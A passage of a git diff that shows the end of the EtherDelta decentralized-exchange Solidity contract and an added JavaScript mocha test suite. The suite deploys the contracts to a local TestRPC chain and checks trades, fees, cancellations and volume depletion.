+      uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
+      if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
+      if (accountLevel==2) feeRebateXfer = feeTakeXfer;
+    }
+    tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
+    tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
+    tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
+    tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
+    tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
+  }
+
+  function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
+    if (!(
+      tokens[tokenGet][sender] >= amount &&
+      availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
+    )) return false;
+    return true;
+  }
+
+  function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
+    bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
+    if (!(
+      (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
+      block.number <= expires
+    )) return 0;
+    uint available1 = safeSub(amountGet, orderFills[user][hash]);
+    uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
+    if (available1<available2) return available1;
+    return available2;
+  }
+
+  function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
+    bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
+    return orderFills[user][hash];
+  }
+
+  function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
+    bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
+    if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
+    orderFills[msg.sender][hash] = amountGet;
+    Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
+  }
+}
diff --git a/basic/13-decentralized-exchange/backup/etherdelta/test.old.js b/basic/13-decentralized-exchange/backup/etherdelta/test.old.js
new file mode 100644
index 000000000..4ef615dd4
--- /dev/null
+++ b/basic/13-decentralized-exchange/backup/etherdelta/test.old.js
@@ -0,0 +1,818 @@
+/* global describe, before, after, it */
+/* eslint no-console: ["error", { allow: ["log"] }] */
+/* eslint max-len: ["error", 300] */
+
+const config = {};
+const utility = require('./utility.js')(config);
+const Web3 = require('web3');
+const assert = require('assert');
+const TestRPC = require('ethereumjs-testrpc');
+const sha256 = require('js-sha256').sha256;
+const async = require('async');
+const BigNumber = require('bignumber.js');
+const solc = require('solc');
+
+const logger = {
+  log: (message) => {
+    if (false) console.log(message);
+  } };
+
+config.contractEtherDelta = 'etherdelta.sol';
+
+const compiledSources = {};
+function deploy(web3, sourceFile, contractName, constructorParams, address, callback) {
+  utility.readFile(sourceFile, (errRead, source) => {
+    const solcVersion = 'v0.4.9+commit.364da425';
+    solc.loadRemoteVersion(solcVersion, (errRemote, solcV) => {
+      if (!compiledSources[sourceFile]) compiledSources[sourceFile] = solcV.compile(source, 1);
+      const compiled = compiledSources[sourceFile];
+      const compiledContract = compiled.contracts[`:${contractName}`];
+      const abi = JSON.parse(compiledContract.interface);
+      const bytecode = compiledContract.bytecode;
+      let contract = web3.eth.contract(abi);
+      utility.testSend(web3, contract, undefined, 'constructor', constructorParams.concat([{ from: address, data: bytecode }]), address, undefined, 0, (err, result) => {
+        const initialTransaction = result;
+        assert.deepEqual(initialTransaction.length, 66);
+        web3.eth.getTransactionReceipt(initialTransaction, (errReceipt, receipt) => {
+          assert.equal(errReceipt, undefined);
+          const addr = receipt.contractAddress;
+          contract = contract.at(addr);
+          assert.notEqual(receipt, null, 'Transaction receipt should not be null');
+          assert.notEqual(addr, null, 'Transaction did not create a contract');
+          web3.eth.getCode(addr, (errCode, resultCode) => {
+            assert.equal(errCode, undefined);
+            assert.notEqual(resultCode, null);
+            assert.notEqual(resultCode, '0x0');
+            callback(undefined, { contract, addr });
+          });
+        });
+      });
+    });
+  });
+}
+
+describe('Test', function test() {
+  this.timeout(240 * 1000);
+  const web3 = new Web3();
+  const port = 12345;
+  let server;
+  let accounts;
+  let contractEtherDelta;
+  let contractToken1;
+  let contractToken2;
+  let contractAccountLevels;
+  let contractEtherDeltaAddr;
+  let contractToken1Addr;
+  let contractToken2Addr;
+  let contractAccountLevelsAddr;
+  let feeAccount;
+  let admin;
+  let feeMake;
+  let feeTake;
+  let feeRebate;
+  const unit = new BigNumber(utility.ethToWei(1.0));
+
+  before('Initialize TestRPC server', (done) => {
+    server = TestRPC.server(logger);
+    server.listen(port, () => {
+      config.ethProvider = `http://localhost:${port}`;
+      config.ethGasCost = 20000000000;
+      web3.setProvider(new Web3.providers.HttpProvider(config.ethProvider));
+      done();
+    });
+  });
+
+  before('Initialize accounts', (done) => {
+    web3.eth.getAccounts((err, accs) => {
+      assert.equal(err, undefined);
+      accounts = accs;
+      config.ethAddr = accounts[0];
+      done();
+    });
+  });
+
+  after('Shutdown server', (done) => {
+    server.close(done);
+  });
+
+  describe('Contract scenario', () => {
+    it('Should add a token1 contract to the network', (done) => {
+      deploy(web3, config.contractEtherDelta, 'ReserveToken', [], accounts[0], (err, contract) => {
+        contractToken1 = contract.contract;
+        contractToken1Addr = contract.addr;
+        done();
+      });
+    });
+    it('Should add a token2 contract to the network', (done) => {
+      deploy(web3, config.contractEtherDelta, 'ReserveToken', [], accounts[0], (err, contract) => {
+        contractToken2 = contract.contract;
+        contractToken2Addr = contract.addr;
+        done();
+      });
+    });
+    it('Should add an AccountLevels contract to the network', (done) => {
+      deploy(web3, config.contractEtherDelta, 'AccountLevelsTest', [], accounts[0], (err, contract) => {
+        contractAccountLevels = contract.contract;
+        contractAccountLevelsAddr = contract.addr;
+        done();
+      });
+    });
+    it('Should add the EtherDelta contract to the network', (done) => {
+      feeMake = new BigNumber(utility.ethToWei(0.0005));
+      feeTake = new BigNumber(utility.ethToWei(0.003));
+      feeRebate = new BigNumber(utility.ethToWei(0.002));
+      admin = accounts[0];
+      feeAccount = accounts[0];
+      deploy(web3, config.contractEtherDelta, 'EtherDelta', [admin, feeAccount, contractAccountLevelsAddr, feeMake, feeTake, feeRebate], accounts[0], (err, contract) => {
+        contractEtherDelta = contract.contract;
+        contractEtherDeltaAddr = contract.addr;
+        done();
+      });
+    });
+    it('Should mint some tokens', (done) => {
+      const amount = utility.ethToWei(10000);
+      async.each([1, 2, 3, 4, 5],
+        (i, callback) => {
+          utility.testSend(web3, contractToken1, contractToken1Addr, 'create', [accounts[i], amount, { gas: 1000000, value: 0 }], accounts[0], undefined, 0, (err) => {
+            assert.equal(err, undefined);
+            utility.testSend(web3, contractToken2, contractToken2Addr, 'create', [accounts[i], amount, { gas: 1000000, value: 0 }], accounts[0], undefined, 0, (err2) => {
+              assert.equal(err2, undefined);
+              callback(null);
+            });
+          });
+        },
+        () => {
+          done();
+        });
+    });
+    it('Should add funds to etherdelta', (done) => {
+      function addEtherFunds(amount, account, callback) {
+        utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'deposit', [{ gas: 1000000, value: amount }], account, undefined, 0, (err) => {
+          assert.equal(err, undefined);
+          utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [0, account], (err2, result) => {
+            assert.equal(result.equals(amount), true);
+            callback();
+          });
+        });
+      }
+      function addFunds(amount, contractToken, contractTokenAddr, account, callback) {
+        utility.testSend(web3, contractToken, contractTokenAddr, 'approve', [contractEtherDeltaAddr, amount, { gas: 1000000, value: 0 }], account, undefined, 0, (err) => {
+          assert.equal(err, undefined);
+          utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'depositToken', [contractTokenAddr, amount, { gas: 1000000, value: 0 }], account, undefined, 0, (err2) => {
+            assert.equal(err2, undefined);
+            utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractTokenAddr, account], (err3, result) => {
+              assert.equal(result.equals(amount), true);
+              callback();
+            });
+          });
+        });
+      }
+      const amount = new BigNumber(utility.ethToWei(1000));
+      addFunds(amount, contractToken1, contractToken1Addr, accounts[1], () => {
+        addFunds(amount, contractToken1, contractToken1Addr, accounts[2], () => {
+          addFunds(amount, contractToken2, contractToken2Addr, accounts[1], () => {
+            addFunds(amount, contractToken2, contractToken2Addr, accounts[2], () => {
+              addEtherFunds(amount, accounts[1], () => {
+                addEtherFunds(amount, accounts[2], () => {
+                  done();
+                });
+              });
+            });
+          });
+        });
+      });
+    });
+    it('Should do some trades initiated onchain', (done) => {
+      function testTrade(expiresIn, orderNonce, tokenGet, tokenGive, amountGet, amountGive, amount, account1, account2, accountLevel, callback) {
+        let expires = expiresIn;
+        web3.eth.getBlockNumber((err, blockNumber) => {
+          if (err) callback(err);
+          expires += blockNumber;
+          utility.testSend(web3, contractAccountLevels, contractAccountLevelsAddr, 'setAccountLevel', [account1, accountLevel, { gas: 1000000, value: 0 }], account1, undefined, 0, (err2) => {
+            assert.equal(err2, undefined);
+            utility.testCall(web3, contractAccountLevels, contractAccountLevelsAddr, 'accountLevel', [account1], (err3, level) => {
+              assert.equal(err3, undefined);
+              utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, feeAccount], (err4, initialFeeBalance1) => {
+                utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, feeAccount], (err5, initialFeeBalance2) => {
+                  utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, account1], (err6, initialBalance11) => {
+                    utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, account2], (err7, initialBalance12) => {
+                      utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, account1], (err8, initialBalance21) => {
+                        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, account2], (err9, initialBalance22) => {
+                          utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'order', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, { gas: 1000000, value: 0 }], account1, undefined, 0, (err10) => {
+                            assert.equal(err10, undefined);
+                            utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'trade', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, 0, '0x0', '0x0', amount, { gas: 1000000, value: 0 }], account2, undefined, 0, (err11) => {
+                              assert.equal(err11, undefined);
+                              utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, feeAccount], (err12, feeBalance1) => {
+                                utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, feeAccount], (err13, feeBalance2) => {
+                                  utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, account1], (err14, balance11) => {
+                                    utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, account2], (err15, balance12) => {
+                                      utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, account1], (err16, balance21) => {
+                                        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, account2], (err17, balance22) => {
+                                          utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'availableVolume', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, 0, '0x0', '0x0'], (err18, availableVolume) => {
+                                            utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'amountFilled', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, 0, '0x0', '0x0'], (err19, amountFilled) => {
+                                              const feeMakeXfer = amount.times(feeMake).divToInt(unit);
+                                              const feeTakeXfer = amount.times(feeTake).divToInt(unit);
+                                              let feeRebateXfer = 0;
+                                              if (Number(level) === 1) feeRebateXfer = amount.times(feeRebate).divToInt(unit);
+                                              if (Number(level) === 2) feeRebateXfer = feeTakeXfer;
+                                              assert.equal(availableVolume.equals(amountGet.minus(amount)), true);
+                                              assert.equal(amountFilled.equals(amount), true);
+                                              assert.equal(initialFeeBalance1.plus(initialBalance11).plus(initialBalance12).equals(feeBalance1.plus(balance11).plus(balance12)), true);
+                                              assert.equal(initialFeeBalance2.plus(initialBalance21).plus(initialBalance22).equals(feeBalance2.plus(balance21).plus(balance22)), true);
+                                              assert.equal(feeBalance1.minus(initialFeeBalance1).equals(feeMakeXfer.plus(feeTakeXfer).minus(feeRebateXfer)), true);
+                                              assert.equal(balance11.equals(initialBalance11.plus(amount).minus(feeMakeXfer).plus(feeRebateXfer)), true);
+                                              assert.equal(balance12.equals(initialBalance12.minus(amount.plus(feeTakeXfer))), true);
+                                              assert.equal(balance21.equals(initialBalance21.minus(amount.times(amountGive).divToInt(amountGet))), true);
+                                              assert.equal(balance22.equals(initialBalance22.plus(amount.times(amountGive).divToInt(amountGet))), true);
+                                              callback();
+                                            });
+                                          });
+                                        });
+                                      });
+                                    });
+                                  });
+                                });
+                              });
+                            });
+                          });
+                        });
+                      });
+                    });
+                  });
+                });
+              });
+            });
+          });
+        });
+      }
+      const trades = [
+        {
+          expires: 10,
+          orderNonce: 1,
+          tokenGet: contractToken1Addr,
+          tokenGive: contractToken2Addr,
+          amountGet: new BigNumber(utility.ethToWei(50)),
+          amountGive: new BigNumber(utility.ethToWei(25)),
+          amount: new BigNumber(utility.ethToWei(25)),
+          account1: accounts[1],
+          account2: accounts[2],
+          accountLevel: 0,
+        },
+        {
+          expires: 10,
+          orderNonce: 2,
+          tokenGet: contractToken1Addr,
+          tokenGive: contractToken2Addr,
+          amountGet: new BigNumber(utility.ethToWei(50)),
+          amountGive: new BigNumber(utility.ethToWei(25)),
+          amount: new BigNumber(utility.ethToWei(25)),
+          account1: accounts[1],
+          account2: accounts[2],
+          accountLevel: 1,
+        },
+        {
+          expires: 10,
+          orderNonce: 3,
+          tokenGet: contractToken1Addr,
+          tokenGive: contractToken2Addr,
+          amountGet: new BigNumber(50),
+          amountGive: new BigNumber(25),
+          amount: new BigNumber(25),
+          account1: accounts[1],
+          account2: accounts[2],
+          accountLevel: 2,
+        },
+      ];
+      async.eachSeries(trades,
+        (trade, callbackEach) => {
+          testTrade(trade.expires, trade.orderNonce, trade.tokenGet, trade.tokenGive, trade.amountGet, trade.amountGive, trade.amount, trade.account1, trade.account2, trade.accountLevel, () => {
+            callbackEach(null);
+          });
+        },
+        () => {
+          done();
+        });
+    });
+    it('Should do some trades initiated offchain', (done) => {
+      function testTrade(expiresIn, orderNonce, tokenGet, tokenGive, amountGet, amountGive, amount, account1, account2, accountLevel, callback) {
+        let expires = expiresIn;
+        web3.eth.getBlockNumber((err, blockNumber) => {
+          if (err) callback(err);
+          expires += blockNumber;
+          const condensed = utility.pack([contractEtherDeltaAddr, tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce], [160, 160, 256, 160, 256, 256, 256]);
+          const hash = sha256(new Buffer(condensed, 'hex'));
+          utility.testSend(web3, contractAccountLevels, contractAccountLevelsAddr, 'setAccountLevel', [account1, accountLevel, { gas: 1000000, value: 0 }], account1, undefined, 0, (err2) => {
+            assert.equal(err2, undefined);
+            utility.testCall(web3, contractAccountLevels, contractAccountLevelsAddr, 'accountLevel', [account1], (err3, level) => {
+              assert.equal(err3, undefined);
+              utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, feeAccount], (err4, initialFeeBalance1) => {
+                utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, feeAccount], (err5, initialFeeBalance2) => {
+                  utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, account1], (err6, initialBalance11) => {
+                    utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, account2], (err7, initialBalance12) => {
+                      utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, account1], (err8, initialBalance21) => {
+                        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, account2], (err9, initialBalance22) => {
+                          utility.sign(web3, account1, hash, undefined, (err10, sig) => {
+                            utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'trade', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, sig.v, sig.r, sig.s, amount, { gas: 1000000, value: 0 }], account2, undefined, 0, (err11) => {
+                              assert.equal(err11, undefined);
+                              utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, feeAccount], (err12, feeBalance1) => {
+                                utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, feeAccount], (err13, feeBalance2) => {
+                                  utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, account1], (err14, balance11) => {
+                                    utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken1Addr, account2], (err15, balance12) => {
+                                      utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, account1], (err16, balance21) => {
+                                        utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'balanceOf', [contractToken2Addr, account2], (err17, balance22) => {
+                                          utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'availableVolume', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, sig.v, sig.r, sig.s], (err18, availableVolume) => {
+                                            utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'amountFilled', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, sig.v, sig.r, sig.s], (err19, amountFilled) => {
+                                              const feeMakeXfer = amount.times(feeMake).divToInt(unit);
+                                              const feeTakeXfer = amount.times(feeTake).divToInt(unit);
+                                              let feeRebateXfer = 0;
+                                              if (Number(level) === 1) feeRebateXfer = amount.times(feeRebate).divToInt(unit);
+                                              if (Number(level) === 2) feeRebateXfer = feeTakeXfer;
+                                              assert.equal(availableVolume.equals(amountGet.minus(amount)), true);
+                                              assert.equal(amountFilled.equals(amount), true);
+                                              assert.equal(initialFeeBalance1.plus(initialBalance11).plus(initialBalance12).equals(feeBalance1.plus(balance11).plus(balance12)), true);
+                                              assert.equal(initialFeeBalance2.plus(initialBalance21).plus(initialBalance22).equals(feeBalance2.plus(balance21).plus(balance22)), true);
+                                              assert.equal(feeBalance1.minus(initialFeeBalance1).equals(feeMakeXfer.plus(feeTakeXfer).minus(feeRebateXfer)), true);
+                                              assert.equal(balance11.equals(initialBalance11.plus(amount).minus(feeMakeXfer).plus(feeRebateXfer)), true);
+                                              assert.equal(balance12.equals(initialBalance12.minus(amount.plus(feeTakeXfer))), true);
+                                              assert.equal(balance21.equals(initialBalance21.minus(amount.times(amountGive).divToInt(amountGet))), true);
+                                              assert.equal(balance22.equals(initialBalance22.plus(amount.times(amountGive).divToInt(amountGet))), true);
+                                              callback();
+                                            });
+                                          });
+                                        });
+                                      });
+                                    });
+                                  });
+                                });
+                              });
+                            });
+                          });
+                        });
+                      });
+                    });
+                  });
+                });
+              });
+            });
+          });
+        });
+      }
+      const trades = [
+        {
+          expires: 10,
+          orderNonce: 4,
+          tokenGet: contractToken1Addr,
+          tokenGive: contractToken2Addr,
+          amountGet: new BigNumber(utility.ethToWei(50)),
+          amountGive: new BigNumber(utility.ethToWei(25)),
+          amount: new BigNumber(utility.ethToWei(25)),
+          account1: accounts[1],
+          account2: accounts[2],
+          accountLevel: 0,
+        },
+        {
+          expires: 10,
+          orderNonce: 5,
+          tokenGet: contractToken1Addr,
+          tokenGive: contractToken2Addr,
+          amountGet: new BigNumber(utility.ethToWei(50)),
+          amountGive: new BigNumber(utility.ethToWei(25)),
+          amount: new BigNumber(utility.ethToWei(25)),
+          account1: accounts[1],
+          account2: accounts[2],
+          accountLevel: 1,
+        },
+        {
+          expires: 10,
+          orderNonce: 6,
+          tokenGet: contractToken1Addr,
+          tokenGive: contractToken2Addr,
+          amountGet: new BigNumber(50),
+          amountGive: new BigNumber(25),
+          amount: new BigNumber(25),
+          account1: accounts[1],
+          account2: accounts[2],
+          accountLevel: 2,
+        },
+      ];
+      async.eachSeries(trades,
+        (trade, callbackEach) => {
+          testTrade(trade.expires, trade.orderNonce, trade.tokenGet, trade.tokenGive, trade.amountGet, trade.amountGive, trade.amount, trade.account1, trade.account2, trade.accountLevel, () => {
+            callbackEach(null);
+          });
+        },
+        () => {
+          done();
+        });
+    });
+    it('Should place an order onchain, check availableVolume and amountFilled, then cancel', (done) => {
+      function testCancel(expiresIn, orderNonce, tokenGet, tokenGive, amountGet, amountGive, amount, account1, callback) {
+        let expires = expiresIn;
+        web3.eth.getBlockNumber((err, blockNumber) => {
+          if (err) callback(err);
+          expires += blockNumber;
+          utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'order', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, { gas: 1000000, value: 0 }], account1, undefined, 0, (err2) => {
+            assert.equal(err2, undefined);
+            utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'availableVolume', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, 0, '0x0', '0x0'], (err3, result3) => {
+              assert.equal(result3.equals(amountGet), true);
+              utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'amountFilled', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, 0, '0x0', '0x0'], (err4, result4) => {
+                assert.equal(result4.equals(new BigNumber(0)), true);
+                utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'cancelOrder', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, 0, '0x0', '0x0', { gas: 1000000, value: 0 }], account1, undefined, 0, (err5) => {
+                  assert.equal(err5, undefined);
+                  utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'availableVolume', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, 0, '0x0', '0x0'], (err6, result6) => {
+                    assert.equal(result6.equals(new BigNumber(0)), true);
+                    utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'amountFilled', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, 0, '0x0', '0x0'], (err7, result7) => {
+                      assert.equal(result7.equals(amountGet), true);
+                      callback();
+                    });
+                  });
+                });
+              });
+            });
+          });
+        });
+      }
+      const trades = [
+        {
+          expires: 10,
+          orderNonce: 7,
+          tokenGet: contractToken1Addr,
+          tokenGive: contractToken2Addr,
+          amountGet: new BigNumber(utility.ethToWei(50)),
+          amountGive: new BigNumber(utility.ethToWei(25)),
+          amount: new BigNumber(utility.ethToWei(25)),
+          account1: accounts[1],
+        },
+        {
+          expires: 10,
+          orderNonce: 8,
+          tokenGet: contractToken1Addr,
+          tokenGive: contractToken2Addr,
+          amountGet: new BigNumber(50),
+          amountGive: new BigNumber(25),
+          amount: new BigNumber(25),
+          account1: accounts[1],
+        },
+      ];
+      async.eachSeries(trades,
+        (trade, callbackEach) => {
+          testCancel(trade.expires, trade.orderNonce, trade.tokenGet, trade.tokenGive, trade.amountGet, trade.amountGive, trade.amount, trade.account1, () => {
+            callbackEach(null);
+          });
+        },
+        () => {
+          done();
+        });
+    });
+    it('Should place an order offchain, check availableVolume and amountFilled, then cancel', (done) => {
+      function testCancel(expiresIn, orderNonce, tokenGet, tokenGive, amountGet, amountGive, amount, account1, callback) {
+        let expires = expiresIn;
+        web3.eth.getBlockNumber((err, blockNumber) => {
+          if (err) callback(err);
+          expires += blockNumber;
+          const condensed = utility.pack([contractEtherDeltaAddr, tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce], [160, 160, 256, 160, 256, 256, 256]);
+          const hash = sha256(new Buffer(condensed, 'hex'));
+          utility.sign(web3, account1, hash, undefined, (err2, sig) => {
+            utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'availableVolume', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, sig.v, sig.r, sig.s], (err3, result3) => {
+              assert.equal(result3.equals(amountGet), true);
+              utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'amountFilled', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, sig.v, sig.r, sig.s], (err4, result4) => {
+                assert.equal(result4.equals(new BigNumber(0)), true);
+                utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'cancelOrder', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, sig.v, sig.r, sig.s, { gas: 1000000, value: 0 }], account1, undefined, 0, (err5) => {
+                  assert.equal(err5, undefined);
+                  utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'availableVolume', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, sig.v, sig.r, sig.s], (err6, result6) => {
+                    assert.equal(result6.equals(new BigNumber(0)), true);
+                    utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'amountFilled', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, account1, sig.v, sig.r, sig.s], (err7, result7) => {
+                      assert.equal(result7.equals(amountGet), true);
+                      callback();
+                    });
+                  });
+                });
+              });
+            });
+          });
+        });
+      }
+      const trades = [
+        {
+          expires: 10,
+          orderNonce: 9,
+          tokenGet: contractToken1Addr,
+          tokenGive: contractToken2Addr,
+          amountGet: new BigNumber(utility.ethToWei(50)),
+          amountGive: new BigNumber(utility.ethToWei(25)),
+          amount: new BigNumber(utility.ethToWei(25)),
+          account1: accounts[1],
+        },
+        {
+          expires: 10,
+          orderNonce: 10,
+          tokenGet: contractToken1Addr,
+          tokenGive: contractToken2Addr,
+          amountGet: new BigNumber(50),
+          amountGive: new BigNumber(25),
+          amount: new BigNumber(25),
+          account1: accounts[1],
+        },
+      ];
+      async.eachSeries(trades,
+        (trade, callbackEach) => {
+          testCancel(trade.expires, trade.orderNonce, trade.tokenGet, trade.tokenGive, trade.amountGet, trade.amountGive, trade.amount, trade.account1, () => {
+            callbackEach(null);
+          });
+        },
+        () => {
+          done();
+        });
+    });
+    it('Should do a trade and check available volume depletion', (done) => {
+      web3.eth.getBlockNumber((err, blockNumber) => {
+        if (err) done(err);
+        const tokenGet = contractToken1Addr;
+        const amountGet = new BigNumber(utility.ethToWei(50));
+        const tokenGive = contractToken2Addr;
+        const amountGive = new BigNumber(utility.ethToWei(25));
+        const expires = blockNumber + 1000;
+        const orderNonce = 11;
+        const user = accounts[1];
+        const condensed = utility.pack([contractEtherDeltaAddr, tokenGet, amountGet.toNumber(), tokenGive, amountGive.toNumber(), expires, orderNonce], [160, 160, 256, 160, 256, 256, 256]);
+        const hash = sha256(new Buffer(condensed, 'hex'));
+        const amount = amountGet.div(new BigNumber(2));
+        utility.sign(web3, user, hash, undefined, (err2, sig) => {
+          utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'trade', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, user, sig.v, sig.r, sig.s, amount, { gas: 1000000, value: 0 }], accounts[2], undefined, 0, (err3) => {
+            assert.equal(err3, undefined);
+            utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'availableVolume', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, user, sig.v, sig.r, sig.s], (err4, result4) => {
+              assert.equal(result4.equals(amountGet.minus(amount)), true);
+              done();
+            });
+          });
+        });
+      });
+    });
+    it('Should do a self trade and check available volume depletion', (done) => {
+      web3.eth.getBlockNumber((err, blockNumber) => {
+        if (err) done(err);
+        const tokenGet = contractToken1Addr;
+        const amountGet = new BigNumber(utility.ethToWei(50));
+        const tokenGive = contractToken2Addr;
+        const amountGive = new BigNumber(utility.ethToWei(25));
+        const expires = blockNumber + 1000;
+        const orderNonce = 12;
+        const user = accounts[1];
+        const condensed = utility.pack([contractEtherDeltaAddr, tokenGet, amountGet.toNumber(), tokenGive, amountGive.toNumber(), expires, orderNonce], [160, 160, 256, 160, 256, 256, 256]);
+        const hash = sha256(new Buffer(condensed, 'hex'));
+        const amount = amountGet.div(new BigNumber(2));
+        utility.sign(web3, user, hash, undefined, (err2, sig) => {
+          utility.testSend(web3, contractEtherDelta, contractEtherDeltaAddr, 'trade', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, user, sig.v, sig.r, sig.s, amount, { gas: 1000000, value: 0 }], accounts[1], undefined, 0, (err3) => {
+            assert.equal(err3, undefined);
+            utility.testCall(web3, contractEtherDelta, contractEtherDeltaAddr, 'availableVolume', [tokenGet, amountGet, tokenGive, amountGive, expires, orderNonce, user, sig.v, sig.r, sig.s], (err4, result4) => {
+              assert.equal(result4.equals(amountGet.minus(amount)), true);
+              done();
+            });
+          });
+        });
+      });
+    });
+    it('Should attempt some trades initiated onchain that should fail', (done) => {
